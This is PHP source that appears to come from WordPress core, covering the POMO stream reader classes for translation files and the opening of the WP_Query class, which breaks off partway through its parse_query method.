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/**
 * Classes, which help reading streams of data from files.
 * Based on the classes from Danilo Segan <danilo@kvota.net>
 *
 * @version $Id: streams.php 1157 2015-11-20 04:30:11Z dd32 $
 * @package pomo
 * @subpackage streams
 */

if ( ! class_exists( 'POMO_Reader', false ) ) :
	#[AllowDynamicProperties]
	class POMO_Reader {

		public $endian = 'little';
		public $_pos;
		public $is_overloaded;

		/**
		 * PHP5 constructor.
		 */
		public function __construct() {
			if ( function_exists( 'mb_substr' )
				&& ( (int) ini_get( 'mbstring.func_overload' ) & 2 ) // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated
			) {
				$this->is_overloaded = true;
			} else {
				$this->is_overloaded = false;
			}

			$this->_pos = 0;
		}

		/**
		 * PHP4 constructor.
		 *
		 * @deprecated 5.4.0 Use __construct() instead.
		 *
		 * @see POMO_Reader::__construct()
		 */
		public function POMO_Reader() {
			_deprecated_constructor( self::class, '5.4.0', static::class );
			self::__construct();
		}

		/**
		 * Sets the endianness of the file.
		 *
		 * @param string $endian Set the endianness of the file. Accepts 'big', or 'little'.
		 */
		public function setEndian( $endian ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
			$this->endian = $endian;
		}

		/**
		 * Reads a 32bit Integer from the Stream
		 *
		 * @return mixed The integer, corresponding to the next 32 bits from
		 *  the stream of false if there are not enough bytes or on error
		 */
		public function readint32() {
			$bytes = $this->read( 4 );
			if ( 4 !== $this->strlen( $bytes ) ) {
				return false;
			}
			$endian_letter = ( 'big' === $this->endian ) ? 'N' : 'V';
			$int           = unpack( $endian_letter, $bytes );
			return reset( $int );
		}

		/**
		 * Reads an array of 32-bit Integers from the Stream
		 *
		 * @param int $count How many elements should be read
		 * @return mixed Array of integers or false if there isn't
		 *  enough data or on error
		 */
		public function readint32array( $count ) {
			$bytes = $this->read( 4 * $count );
			if ( 4 * $count !== $this->strlen( $bytes ) ) {
				return false;
			}
			$endian_letter = ( 'big' === $this->endian ) ? 'N' : 'V';
			return unpack( $endian_letter . $count, $bytes );
		}

		/**
		 * @param string $input_string
		 * @param int    $start
		 * @param int    $length
		 * @return string
		 */
		public function substr( $input_string, $start, $length ) {
			if ( $this->is_overloaded ) {
				return mb_substr( $input_string, $start, $length, 'ascii' );
			} else {
				return substr( $input_string, $start, $length );
			}
		}

		/**
		 * @param string $input_string
		 * @return int
		 */
		public function strlen( $input_string ) {
			if ( $this->is_overloaded ) {
				return mb_strlen( $input_string, 'ascii' );
			} else {
				return strlen( $input_string );
			}
		}

		/**
		 * @param string $input_string
		 * @param int    $chunk_size
		 * @return array
		 */
		public function str_split( $input_string, $chunk_size ) {
			if ( ! function_exists( 'str_split' ) ) {
				$length = $this->strlen( $input_string );
				$out    = array();
				for ( $i = 0; $i < $length; $i += $chunk_size ) {
					$out[] = $this->substr( $input_string, $i, $chunk_size );
				}
				return $out;
			} else {
				return str_split( $input_string, $chunk_size );
			}
		}

		/**
		 * @return int
		 */
		public function pos() {
			return $this->_pos;
		}

		/**
		 * @return true
		 */
		public function is_resource() {
			return true;
		}

		/**
		 * @return true
		 */
		public function close() {
			return true;
		}
	}
endif;

if ( ! class_exists( 'POMO_FileReader', false ) ) :
	class POMO_FileReader extends POMO_Reader {

		/**
		 * File pointer resource.
		 *
		 * @var resource|false
		 */
		public $_f;

		/**
		 * @param string $filename
		 */
		public function __construct( $filename ) {
			parent::__construct();
			$this->_f = fopen( $filename, 'rb' );
		}

		/**
		 * PHP4 constructor.
		 *
		 * @deprecated 5.4.0 Use __construct() instead.
		 *
		 * @see POMO_FileReader::__construct()
		 */
		public function POMO_FileReader( $filename ) {
			_deprecated_constructor( self::class, '5.4.0', static::class );
			self::__construct( $filename );
		}

		/**
		 * @param int $bytes
		 * @return string|false Returns read string, otherwise false.
		 */
		public function read( $bytes ) {
			return fread( $this->_f, $bytes );
		}

		/**
		 * @param int $pos
		 * @return bool
		 */
		public function seekto( $pos ) {
			if ( -1 === fseek( $this->_f, $pos, SEEK_SET ) ) {
				return false;
			}
			$this->_pos = $pos;
			return true;
		}

		/**
		 * @return bool
		 */
		public function is_resource() {
			return is_resource( $this->_f );
		}

		/**
		 * @return bool
		 */
		public function feof() {
			return feof( $this->_f );
		}

		/**
		 * @return bool
		 */
		public function close() {
			return fclose( $this->_f );
		}

		/**
		 * @return string
		 */
		public function read_all() {
			return stream_get_contents( $this->_f );
		}
	}
endif;

if ( ! class_exists( 'POMO_StringReader', false ) ) :
	/**
	 * Provides file-like methods for manipulating a string instead
	 * of a physical file.
	 */
	class POMO_StringReader extends POMO_Reader {

		public $_str = '';

		/**
		 * PHP5 constructor.
		 */
		public function __construct( $str = '' ) {
			parent::__construct();
			$this->_str = $str;
			$this->_pos = 0;
		}

		/**
		 * PHP4 constructor.
		 *
		 * @deprecated 5.4.0 Use __construct() instead.
		 *
		 * @see POMO_StringReader::__construct()
		 */
		public function POMO_StringReader( $str = '' ) {
			_deprecated_constructor( self::class, '5.4.0', static::class );
			self::__construct( $str );
		}

		/**
		 * @param string $bytes
		 * @return string
		 */
		public function read( $bytes ) {
			$data        = $this->substr( $this->_str, $this->_pos, $bytes );
			$this->_pos += $bytes;
			if ( $this->strlen( $this->_str ) < $this->_pos ) {
				$this->_pos = $this->strlen( $this->_str );
			}
			return $data;
		}

		/**
		 * @param int $pos
		 * @return int
		 */
		public function seekto( $pos ) {
			$this->_pos = $pos;
			if ( $this->strlen( $this->_str ) < $this->_pos ) {
				$this->_pos = $this->strlen( $this->_str );
			}
			return $this->_pos;
		}

		/**
		 * @return int
		 */
		public function length() {
			return $this->strlen( $this->_str );
		}

		/**
		 * @return string
		 */
		public function read_all() {
			return $this->substr( $this->_str, $this->_pos, $this->strlen( $this->_str ) );
		}
	}
endif;

if ( ! class_exists( 'POMO_CachedFileReader', false ) ) :
	/**
	 * Reads the contents of the file in the beginning.
	 */
	class POMO_CachedFileReader extends POMO_StringReader {
		/**
		 * PHP5 constructor.
		 */
		public function __construct( $filename ) {
			parent::__construct();
			$this->_str = file_get_contents( $filename );
			if ( false === $this->_str ) {
				return false;
			}
			$this->_pos = 0;
		}

		/**
		 * PHP4 constructor.
		 *
		 * @deprecated 5.4.0 Use __construct() instead.
		 *
		 * @see POMO_CachedFileReader::__construct()
		 */
		public function POMO_CachedFileReader( $filename ) {
			_deprecated_constructor( self::class, '5.4.0', static::class );
			self::__construct( $filename );
		}
	}
endif;

if ( ! class_exists( 'POMO_CachedIntFileReader', false ) ) :
	/**
	 * Reads the contents of the file in the beginning.
	 */
	class POMO_CachedIntFileReader extends POMO_CachedFileReader {
		/**
		 * PHP5 constructor.
		 */
		public function __construct( $filename ) {
			parent::__construct( $filename );
		}

		/**
		 * PHP4 constructor.
		 *
		 * @deprecated 5.4.0 Use __construct() instead.
		 *
		 * @see POMO_CachedIntFileReader::__construct()
		 */
		public function POMO_CachedIntFileReader( $filename ) {
			_deprecated_constructor( self::class, '5.4.0', static::class );
			self::__construct( $filename );
		}
	}
endif;
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/**
 * Query API: WP_Query class
 *
 * @package WordPress
 * @subpackage Query
 * @since 4.7.0
 */

/**
 * The WordPress Query class.
 *
 * @link https://developer.wordpress.org/reference/classes/wp_query/
 *
 * @since 1.5.0
 * @since 4.5.0 Removed the `$comments_popup` property.
 */
#[AllowDynamicProperties]
class WP_Query {

	/**
	 * Query vars set by the user.
	 *
	 * @since 1.5.0
	 * @var array
	 */
	public $query;

	/**
	 * Query vars, after parsing.
	 *
	 * @since 1.5.0
	 * @var array
	 */
	public $query_vars = array();

	/**
	 * Taxonomy query, as passed to get_tax_sql().
	 *
	 * @since 3.1.0
	 * @var WP_Tax_Query|null A taxonomy query instance.
	 */
	public $tax_query;

	/**
	 * Metadata query container.
	 *
	 * @since 3.2.0
	 * @var WP_Meta_Query A meta query instance.
	 */
	public $meta_query = false;

	/**
	 * Date query container.
	 *
	 * @since 3.7.0
	 * @var WP_Date_Query A date query instance.
	 */
	public $date_query = false;

	/**
	 * Holds the data for a single object that is queried.
	 *
	 * Holds the contents of a post, page, category, attachment.
	 *
	 * @since 1.5.0
	 * @var WP_Term|WP_Post_Type|WP_Post|WP_User|null
	 */
	public $queried_object;

	/**
	 * The ID of the queried object.
	 *
	 * @since 1.5.0
	 * @var int
	 */
	public $queried_object_id;

	/**
	 * SQL for the database query.
	 *
	 * @since 2.0.1
	 * @var string
	 */
	public $request;

	/**
	 * Array of post objects or post IDs.
	 *
	 * @since 1.5.0
	 * @var WP_Post[]|int[]
	 */
	public $posts;

	/**
	 * The number of posts for the current query.
	 *
	 * @since 1.5.0
	 * @var int
	 */
	public $post_count = 0;

	/**
	 * Index of the current item in the loop.
	 *
	 * @since 1.5.0
	 * @var int
	 */
	public $current_post = -1;

	/**
	 * Whether the caller is before the loop.
	 *
	 * @since 6.3.0
	 * @var bool
	 */
	public $before_loop = true;

	/**
	 * Whether the loop has started and the caller is in the loop.
	 *
	 * @since 2.0.0
	 * @var bool
	 */
	public $in_the_loop = false;

	/**
	 * The current post.
	 *
	 * This property does not get populated when the `fields` argument is set to
	 * `ids` or `id=>parent`.
	 *
	 * @since 1.5.0
	 * @var WP_Post|null
	 */
	public $post;

	/**
	 * The list of comments for current post.
	 *
	 * @since 2.2.0
	 * @var WP_Comment[]
	 */
	public $comments;

	/**
	 * The number of comments for the posts.
	 *
	 * @since 2.2.0
	 * @var int
	 */
	public $comment_count = 0;

	/**
	 * The index of the comment in the comment loop.
	 *
	 * @since 2.2.0
	 * @var int
	 */
	public $current_comment = -1;

	/**
	 * Current comment object.
	 *
	 * @since 2.2.0
	 * @var WP_Comment
	 */
	public $comment;

	/**
	 * The number of found posts for the current query.
	 *
	 * If limit clause was not used, equals $post_count.
	 *
	 * @since 2.1.0
	 * @var int
	 */
	public $found_posts = 0;

	/**
	 * The number of pages.
	 *
	 * @since 2.1.0
	 * @var int
	 */
	public $max_num_pages = 0;

	/**
	 * The number of comment pages.
	 *
	 * @since 2.7.0
	 * @var int
	 */
	public $max_num_comment_pages = 0;

	/**
	 * Signifies whether the current query is for a single post.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
	public $is_single = false;

	/**
	 * Signifies whether the current query is for a preview.
	 *
	 * @since 2.0.0
	 * @var bool
	 */
	public $is_preview = false;

	/**
	 * Signifies whether the current query is for a page.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
	public $is_page = false;

	/**
	 * Signifies whether the current query is for an archive.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
	public $is_archive = false;

	/**
	 * Signifies whether the current query is for a date archive.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
	public $is_date = false;

	/**
	 * Signifies whether the current query is for a year archive.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
	public $is_year = false;

	/**
	 * Signifies whether the current query is for a month archive.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
	public $is_month = false;

	/**
	 * Signifies whether the current query is for a day archive.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
	public $is_day = false;

	/**
	 * Signifies whether the current query is for a specific time.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
	public $is_time = false;

	/**
	 * Signifies whether the current query is for an author archive.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
	public $is_author = false;

	/**
	 * Signifies whether the current query is for a category archive.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
	public $is_category = false;

	/**
	 * Signifies whether the current query is for a tag archive.
	 *
	 * @since 2.3.0
	 * @var bool
	 */
	public $is_tag = false;

	/**
	 * Signifies whether the current query is for a taxonomy archive.
	 *
	 * @since 2.5.0
	 * @var bool
	 */
	public $is_tax = false;

	/**
	 * Signifies whether the current query is for a search.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
	public $is_search = false;

	/**
	 * Signifies whether the current query is for a feed.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
	public $is_feed = false;

	/**
	 * Signifies whether the current query is for a comment feed.
	 *
	 * @since 2.2.0
	 * @var bool
	 */
	public $is_comment_feed = false;

	/**
	 * Signifies whether the current query is for trackback endpoint call.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
	public $is_trackback = false;

	/**
	 * Signifies whether the current query is for the site homepage.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
	public $is_home = false;

	/**
	 * Signifies whether the current query is for the Privacy Policy page.
	 *
	 * @since 5.2.0
	 * @var bool
	 */
	public $is_privacy_policy = false;

	/**
	 * Signifies whether the current query couldn't find anything.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
	public $is_404 = false;

	/**
	 * Signifies whether the current query is for an embed.
	 *
	 * @since 4.4.0
	 * @var bool
	 */
	public $is_embed = false;

	/**
	 * Signifies whether the current query is for a paged result and not for the first page.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
	public $is_paged = false;

	/**
	 * Signifies whether the current query is for an administrative interface page.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
	public $is_admin = false;

	/**
	 * Signifies whether the current query is for an attachment page.
	 *
	 * @since 2.0.0
	 * @var bool
	 */
	public $is_attachment = false;

	/**
	 * Signifies whether the current query is for an existing single post of any post type
	 * (post, attachment, page, custom post types).
	 *
	 * @since 2.1.0
	 * @var bool
	 */
	public $is_singular = false;

	/**
	 * Signifies whether the current query is for the robots.txt file.
	 *
	 * @since 2.1.0
	 * @var bool
	 */
	public $is_robots = false;

	/**
	 * Signifies whether the current query is for the favicon.ico file.
	 *
	 * @since 5.4.0
	 * @var bool
	 */
	public $is_favicon = false;

	/**
	 * Signifies whether the current query is for the page_for_posts page.
	 *
	 * Basically, the homepage if the option isn't set for the static homepage.
	 *
	 * @since 2.1.0
	 * @var bool
	 */
	public $is_posts_page = false;

	/**
	 * Signifies whether the current query is for a post type archive.
	 *
	 * @since 3.1.0
	 * @var bool
	 */
	public $is_post_type_archive = false;

	/**
	 * Stores the ->query_vars state like md5(serialize( $this->query_vars ) ) so we know
	 * whether we have to re-parse because something has changed
	 *
	 * @since 3.1.0
	 * @var bool|string
	 */
	private $query_vars_hash = false;

	/**
	 * Whether query vars have changed since the initial parse_query() call. Used to catch modifications to query vars made
	 * via pre_get_posts hooks.
	 *
	 * @since 3.1.1
	 */
	private $query_vars_changed = true;

	/**
	 * Set if post thumbnails are cached
	 *
	 * @since 3.2.0
	 * @var bool
	 */
	public $thumbnails_cached = false;

	/**
	 * Controls whether an attachment query should include filenames or not.
	 *
	 * @since 6.0.3
	 * @var bool
	 */
	protected $allow_query_attachment_by_filename = false;

	/**
	 * Cached list of search stopwords.
	 *
	 * @since 3.7.0
	 * @var array
	 */
	private $stopwords;

	private $compat_fields = array( 'query_vars_hash', 'query_vars_changed' );

	private $compat_methods = array( 'init_query_flags', 'parse_tax_query' );

	/**
	 * Resets query flags to false.
	 *
	 * The query flags are what page info WordPress was able to figure out.
	 *
	 * @since 2.0.0
	 */
	private function init_query_flags() {
		$this->is_single            = false;
		$this->is_preview           = false;
		$this->is_page              = false;
		$this->is_archive           = false;
		$this->is_date              = false;
		$this->is_year              = false;
		$this->is_month             = false;
		$this->is_day               = false;
		$this->is_time              = false;
		$this->is_author            = false;
		$this->is_category          = false;
		$this->is_tag               = false;
		$this->is_tax               = false;
		$this->is_search            = false;
		$this->is_feed              = false;
		$this->is_comment_feed      = false;
		$this->is_trackback         = false;
		$this->is_home              = false;
		$this->is_privacy_policy    = false;
		$this->is_404               = false;
		$this->is_paged             = false;
		$this->is_admin             = false;
		$this->is_attachment        = false;
		$this->is_singular          = false;
		$this->is_robots            = false;
		$this->is_favicon           = false;
		$this->is_posts_page        = false;
		$this->is_post_type_archive = false;
	}

	/**
	 * Initiates object properties and sets default values.
	 *
	 * @since 1.5.0
	 */
	public function init() {
		unset( $this->posts );
		unset( $this->query );
		$this->query_vars = array();
		unset( $this->queried_object );
		unset( $this->queried_object_id );
		$this->post_count   = 0;
		$this->current_post = -1;
		$this->in_the_loop  = false;
		$this->before_loop  = true;
		unset( $this->request );
		unset( $this->post );
		unset( $this->comments );
		unset( $this->comment );
		$this->comment_count         = 0;
		$this->current_comment       = -1;
		$this->found_posts           = 0;
		$this->max_num_pages         = 0;
		$this->max_num_comment_pages = 0;

		$this->init_query_flags();
	}

	/**
	 * Reparses the query vars.
	 *
	 * @since 1.5.0
	 */
	public function parse_query_vars() {
		$this->parse_query();
	}

	/**
	 * Fills in the query variables, which do not exist within the parameter.
	 *
	 * @since 2.1.0
	 * @since 4.5.0 Removed the `comments_popup` public query variable.
	 *
	 * @param array $query_vars Defined query variables.
	 * @return array Complete query variables with undefined ones filled in empty.
	 */
	public function fill_query_vars( $query_vars ) {
		$keys = array(
			'error',
			'm',
			'p',
			'post_parent',
			'subpost',
			'subpost_id',
			'attachment',
			'attachment_id',
			'name',
			'pagename',
			'page_id',
			'second',
			'minute',
			'hour',
			'day',
			'monthnum',
			'year',
			'w',
			'category_name',
			'tag',
			'cat',
			'tag_id',
			'author',
			'author_name',
			'feed',
			'tb',
			'paged',
			'meta_key',
			'meta_value',
			'preview',
			's',
			'sentence',
			'title',
			'fields',
			'menu_order',
			'embed',
		);

		foreach ( $keys as $key ) {
			if ( ! isset( $query_vars[ $key ] ) ) {
				$query_vars[ $key ] = '';
			}
		}

		$array_keys = array(
			'category__in',
			'category__not_in',
			'category__and',
			'post__in',
			'post__not_in',
			'post_name__in',
			'tag__in',
			'tag__not_in',
			'tag__and',
			'tag_slug__in',
			'tag_slug__and',
			'post_parent__in',
			'post_parent__not_in',
			'author__in',
			'author__not_in',
			'search_columns',
		);

		foreach ( $array_keys as $key ) {
			if ( ! isset( $query_vars[ $key ] ) ) {
				$query_vars[ $key ] = array();
			}
		}

		return $query_vars;
	}

	/**
	 * Parses a query string and sets query type booleans.
	 *
	 * @since 1.5.0
	 * @since 4.2.0 Introduced the ability to order by specific clauses of a `$meta_query`, by passing the clause's
	 *              array key to `$orderby`.
	 * @since 4.4.0 Introduced `$post_name__in` and `$title` parameters. `$s` was updated to support excluded
	 *              search terms, by prepending a hyphen.
	 * @since 4.5.0 Removed the `$comments_popup` parameter.
	 *              Introduced the `$comment_status` and `$ping_status` parameters.
	 *              Introduced `RAND(x)` syntax for `$orderby`, which allows an integer seed value to random sorts.
	 * @since 4.6.0 Added 'post_name__in' support for `$orderby`. Introduced the `$lazy_load_term_meta` argument.
	 * @since 4.9.0 Introduced the `$comment_count` parameter.
	 * @since 5.1.0 Introduced the `$meta_compare_key` parameter.
	 * @since 5.3.0 Introduced the `$meta_type_key` parameter.
	 * @since 6.1.0 Introduced the `$update_menu_item_cache` parameter.
	 * @since 6.2.0 Introduced the `$search_columns` parameter.
	 *
	 * @param string|array $query {
	 *     Optional. Array or string of Query parameters.
	 *
	 *     @type int             $attachment_id          Attachment post ID. Used for 'attachment' post_type.
	 *     @type int|string      $author                 Author ID, or comma-separated list of IDs.
	 *     @type string          $author_name            User 'user_nicename'.
	 *     @type int[]           $author__in             An array of author IDs to query from.
	 *     @type int[]           $author__not_in         An array of author IDs not to query from.
	 *     @type bool            $cache_results          Whether to cache post information. Default true.
	 *     @type int|string      $cat                    Category ID or comma-separated list of IDs (this or any children).
	 *     @type int[]           $category__and          An array of category IDs (AND in).
	 *     @type int[]           $category__in           An array of category IDs (OR in, no children).
	 *     @type int[]           $category__not_in       An array of category IDs (NOT in).
	 *     @type string          $category_name          Use category slug (not name, this or any children).
	 *     @type array|int       $comment_count          Filter results by comment count. Provide an integer to match
	 *                                                   comment count exactly. Provide an array with integer 'value'
	 *                                                   and 'compare' operator ('=', '!=', '>', '>=', '<', '<=' ) to
	 *                                                   compare against comment_count in a specific way.
	 *     @type string          $comment_status         Comment status.
	 *     @type int             $comments_per_page      The number of comments to return per page.
	 *                                                   Default 'comments_per_page' option.
	 *     @type array           $date_query             An associative array of WP_Date_Query arguments.
	 *                                                   See WP_Date_Query::__construct().
	 *     @type int             $day                    Day of the month. Default empty. Accepts numbers 1-31.
	 *     @type bool            $exact                  Whether to search by exact keyword. Default false.
	 *     @type string          $fields                 Post fields to query for. Accepts:
	 *                                                   - '' Returns an array of complete post objects (`WP_Post[]`).
	 *                                                   - 'ids' Returns an array of post IDs (`int[]`).
	 *                                                   - 'id=>parent' Returns an associative array of parent post IDs,
	 *                                                     keyed by post ID (`int[]`).
	 *                                                   Default ''.
	 *     @type int             $hour                   Hour of the day. Default empty. Accepts numbers 0-23.
	 *     @type int|bool        $ignore_sticky_posts    Whether to ignore sticky posts or not. Setting this to false
	 *                                                   excludes stickies from 'post__in'. Accepts 1|true, 0|false.
	 *                                                   Default false.
	 *     @type int             $m                      Combination YearMonth. Accepts any four-digit year and month
	 *                                                   numbers 01-12. Default empty.
	 *     @type string|string[] $meta_key               Meta key or keys to filter by.
	 *     @type string|string[] $meta_value             Meta value or values to filter by.
	 *     @type string          $meta_compare           MySQL operator used for comparing the meta value.
	 *                                                   See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_compare_key       MySQL operator used for comparing the meta key.
	 *                                                   See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_type              MySQL data type that the meta_value column will be CAST to for comparisons.
	 *                                                   See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_type_key          MySQL data type that the meta_key column will be CAST to for comparisons.
	 *                                                   See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type array           $meta_query             An associative array of WP_Meta_Query arguments.
	 *                                                   See WP_Meta_Query::__construct() for accepted values.
	 *     @type int             $menu_order             The menu order of the posts.
	 *     @type int             $minute                 Minute of the hour. Default empty. Accepts numbers 0-59.
	 *     @type int             $monthnum               The two-digit month. Default empty. Accepts numbers 1-12.
	 *     @type string          $name                   Post slug.
	 *     @type bool            $nopaging               Show all posts (true) or paginate (false). Default false.
	 *     @type bool            $no_found_rows          Whether to skip counting the total rows found. Enabling can improve
	 *                                                   performance. Default false.
	 *     @type int             $offset                 The number of posts to offset before retrieval.
	 *     @type string          $order                  Designates ascending or descending order of posts. Default 'DESC'.
	 *                                                   Accepts 'ASC', 'DESC'.
	 *     @type string|array    $orderby                Sort retrieved posts by parameter. One or more options may be passed.
	 *                                                   To use 'meta_value', or 'meta_value_num', 'meta_key=keyname' must be
	 *                                                   also be defined. To sort by a specific `$meta_query` clause, use that
	 *                                                   clause's array key. Accepts:
	 *                                                   - 'none'
	 *                                                   - 'name'
	 *                                                   - 'author'
	 *                                                   - 'date'
	 *                                                   - 'title'
	 *                                                   - 'modified'
	 *                                                   - 'menu_order'
	 *                                                   - 'parent'
	 *                                                   - 'ID'
	 *                                                   - 'rand'
	 *                                                   - 'relevance'
	 *                                                   - 'RAND(x)' (where 'x' is an integer seed value)
	 *                                                   - 'comment_count'
	 *                                                   - 'meta_value'
	 *                                                   - 'meta_value_num'
	 *                                                   - 'post__in'
	 *                                                   - 'post_name__in'
	 *                                                   - 'post_parent__in'
	 *                                                   - The array keys of `$meta_query`.
	 *                                                   Default is 'date', except when a search is being performed, when
	 *                                                   the default is 'relevance'.
	 *     @type int             $p                      Post ID.
	 *     @type int             $page                   Show the number of posts that would show up on page X of a
	 *                                                   static front page.
	 *     @type int             $paged                  The number of the current page.
	 *     @type int             $page_id                Page ID.
	 *     @type string          $pagename               Page slug.
	 *     @type string          $perm                   Show posts if user has the appropriate capability.
	 *     @type string          $ping_status            Ping status.
	 *     @type int[]           $post__in               An array of post IDs to retrieve, sticky posts will be included.
	 *     @type int[]           $post__not_in           An array of post IDs not to retrieve. Note: a string of comma-
	 *                                                   separated IDs will NOT work.
	 *     @type string          $post_mime_type         The mime type of the post. Used for 'attachment' post_type.
	 *     @type string[]        $post_name__in          An array of post slugs that results must match.
	 *     @type int             $post_parent            Page ID to retrieve child pages for. Use 0 to only retrieve
	 *                                                   top-level pages.
	 *     @type int[]           $post_parent__in        An array containing parent page IDs to query child pages from.
	 *     @type int[]           $post_parent__not_in    An array containing parent page IDs not to query child pages from.
	 *     @type string|string[] $post_type              A post type slug (string) or array of post type slugs.
	 *                                                   Default 'any' if using 'tax_query'.
	 *     @type string|string[] $post_status            A post status (string) or array of post statuses.
	 *     @type int             $posts_per_page         The number of posts to query for. Use -1 to request all posts.
	 *     @type int             $posts_per_archive_page The number of posts to query for by archive page. Overrides
	 *                                                   'posts_per_page' when is_archive(), or is_search() are true.
	 *     @type string          $s                      Search keyword(s). Prepending a term with a hyphen will
	 *                                                   exclude posts matching that term. Eg, 'pillow -sofa' will
	 *                                                   return posts containing 'pillow' but not 'sofa'. The
	 *                                                   character used for exclusion can be modified using the
	 *                                                   the 'wp_query_search_exclusion_prefix' filter.
	 *     @type string[]        $search_columns         Array of column names to be searched. Accepts 'post_title',
	 *                                                   'post_excerpt' and 'post_content'. Default empty array.
	 *     @type int             $second                 Second of the minute. Default empty. Accepts numbers 0-59.
	 *     @type bool            $sentence               Whether to search by phrase. Default false.
	 *     @type bool            $suppress_filters       Whether to suppress filters. Default false.
	 *     @type string          $tag                    Tag slug. Comma-separated (either), Plus-separated (all).
	 *     @type int[]           $tag__and               An array of tag IDs (AND in).
	 *     @type int[]           $tag__in                An array of tag IDs (OR in).
	 *     @type int[]           $tag__not_in            An array of tag IDs (NOT in).
	 *     @type int             $tag_id                 Tag id or comma-separated list of IDs.
	 *     @type string[]        $tag_slug__and          An array of tag slugs (AND in).
	 *     @type string[]        $tag_slug__in           An array of tag slugs (OR in). unless 'ignore_sticky_posts' is
	 *                                                   true. Note: a string of comma-separated IDs will NOT work.
	 *     @type array           $tax_query              An associative array of WP_Tax_Query arguments.
	 *                                                   See WP_Tax_Query::__construct().
	 *     @type string          $title                  Post title.
	 *     @type bool            $update_post_meta_cache Whether to update the post meta cache. Default true.
	 *     @type bool            $update_post_term_cache Whether to update the post term cache. Default true.
	 *     @type bool            $update_menu_item_cache Whether to update the menu item cache. Default false.
	 *     @type bool            $lazy_load_term_meta    Whether to lazy-load term meta. Setting to false will
	 *                                                   disable cache priming for term meta, so that each
	 *                                                   get_term_meta() call will hit the database.
	 *                                                   Defaults to the value of `$update_post_term_cache`.
	 *     @type int             $w                      The week number of the year. Default empty. Accepts numbers 0-53.
	 *     @type int             $year                   The four-digit year. Default empty. Accepts any four-digit year.
	 * }
	 */
	public function parse_query( $query = '' ) {
		if ( ! empty( $query ) ) {
			$this->init();
			$this->query      = wp_parse_args( $query );
			$this->query_vars = $this->query;
		} elseif ( ! isset( $this->query ) ) {
			$this->query = $this->query_vars;
		}

		$this->query_vars         = $this->fill_query_vars( $this->query_vars );
		$qv                       = &$this->query_vars;
		$this->query_vars_changed = true;

		if ( ! empty( $qv['robots'] ) ) {
			$this->is_robots = true;
		} elseif ( ! empty( $qv['favicon'] ) ) {
			$this->is_favicon = true;
		}

		if ( ! is_scalar( $qv['p'] ) || (int) $qv['p'] < 0 ) {
			$qv['p']     = 0;
			$qv['error'] = '404';
		} else {
			$qv['p'] = (int) $qv['p'];
		}

		$qv['page_id']  = is_scalar( $qv['page_id'] ) ? absint( $qv['page_id'] ) : 0;
		$qv['year']     = is_scalar( $qv['year'] ) ? absint( $qv['year'] ) : 0;
		$qv['monthnum'] = is_scalar( $qv['monthnum'] ) ? absint( $qv['monthnum'] ) : 0;
		$qv['day']      = is_scalar( $qv['day'] ) ? absint( $qv['day'] ) : 0;
		$qv['w']        = is_scalar( $qv['w'] ) ? absint( $qv['w'] ) : 0;
		$qv['m']        = is_scalar( $qv['m'] ) ? preg_replace( '|[^0-9]|', '', $qv['m'] ) : '';
		$qv['paged']    = is_scalar( $qv['paged'] ) ? absint( $qv['paged'] ) : 0;
		$qv['cat']      = preg_replace( '|[^0-9,-]|', '', $qv['cat'] ); // Array or comma-separated list of positive or negative integers.
		$qv['author']   = is_scalar( $qv['author'] ) ? preg_replace( '|[^0-9,-]|', '', $qv['author'] ) : ''; // Comma-separated list of positive or negative integers.
		$qv['pagename'] = is_scalar( $qv['pagename'] ) ? trim( $qv['pagename'] ) : '';
		$qv['name']     = is_scalar( $qv['name'] ) ? trim( $qv['name'] ) : '';
		$qv['title']    = is_scalar( $qv['title'] ) ? trim( $qv['title'] ) : '';

		if ( is_scalar( $qv['hour'] ) && '' !== $qv['hour'] ) {
			$qv['hour'] = absint( $qv['hour'] );
		} else {
			$qv['hour'] = '';
		}

		if ( is_scalar( $qv['minute'] ) && '' !== $qv['minute'] ) {
			$qv['minute'] = absint( $qv['minute'] );
		} else {
			$qv['minute'] = '';
		}

		if ( is_scalar( $qv['second'] ) && '' !== $qv['second'] ) {
			$qv['second'] = absint( $qv['second'] );
		} else {
			$qv['second'] = '';
		}

		if ( is_scalar( $qv['menu_order'] ) && '' !== $qv['menu_order'] ) {
			$qv['menu_order'] = absint( $qv['menu_order'] );
		} else {
			$qv['menu_order'] = '';
		}

		// Fairly large, potentially too large, upper bound for search string lengths.
		if ( ! is_scalar( $qv['s'] ) || ( ! empty( $qv['s'] ) && strlen( $qv['s'] ) > 1600 ) ) {
			$qv['s'] = '';
		}

		// Compat. Map subpost to attachment.
		if ( is_scalar( $qv['subpost'] ) && '' != $qv['subpost'] ) {
			$qv['attachment'] = $qv['subpost'];
		}
		if ( is_scalar( $qv['subpost_id'] ) && '' != $qv['subpost_id'] ) {
			$qv['attachment_id'] = $qv['subpost_id'];
		}

		$qv['attachment_id'] = is_scalar( $qv['attachment_id'] ) ? absint( $qv['attachment_id'] ) : 0;

		if ( ( '' !== $qv['attachment'] ) || ! empty( $qv['attachment_id'] ) ) {
			$this->is_single     = true;
			$this->is_attachment = true;
		} elseif ( '' !== $qv['name'] ) {
			$this->is_single = true;
		} elseif ( $qv['p'] ) {
			$this->is_single = true;
		} elseif ( '' !== $qv['pagename'] || ! empty( $qv['page_id'] ) ) {
			$this->is_page   = true;
			$this->is_single = false;
